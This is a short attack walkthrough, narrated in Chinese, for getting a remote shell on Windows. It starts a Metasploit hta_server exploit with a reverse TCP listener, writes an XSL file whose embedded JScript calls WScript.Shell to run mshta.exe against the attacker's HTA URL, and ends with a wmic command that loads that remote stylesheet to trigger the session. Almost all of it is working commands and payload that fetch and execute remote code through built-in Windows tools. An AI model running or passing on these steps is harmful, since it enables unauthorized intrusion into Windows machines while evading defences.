msf6 > use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) > set srvhost 192.168.8.145
msf6 exploit(windows/misc/hta_server) > set lport 5555
lport => 5555
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.8.145:5555
[*] Using URL: http://192.168.8.145:8080/vLmIquVLmjYYXD.hta
[*] Server started.
然后在网页目录中编辑xsl文件如下:
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("mshta.exe http://192.168.8.145:8080/vLmIquVLmjYYXD.hta");
]]> </ms:script>
</stylesheet>
接着在Windows主机运行以下命令即可获取到会话:
wmic os get /FORMAT:"http://192.168.8.145/wmic.xsl"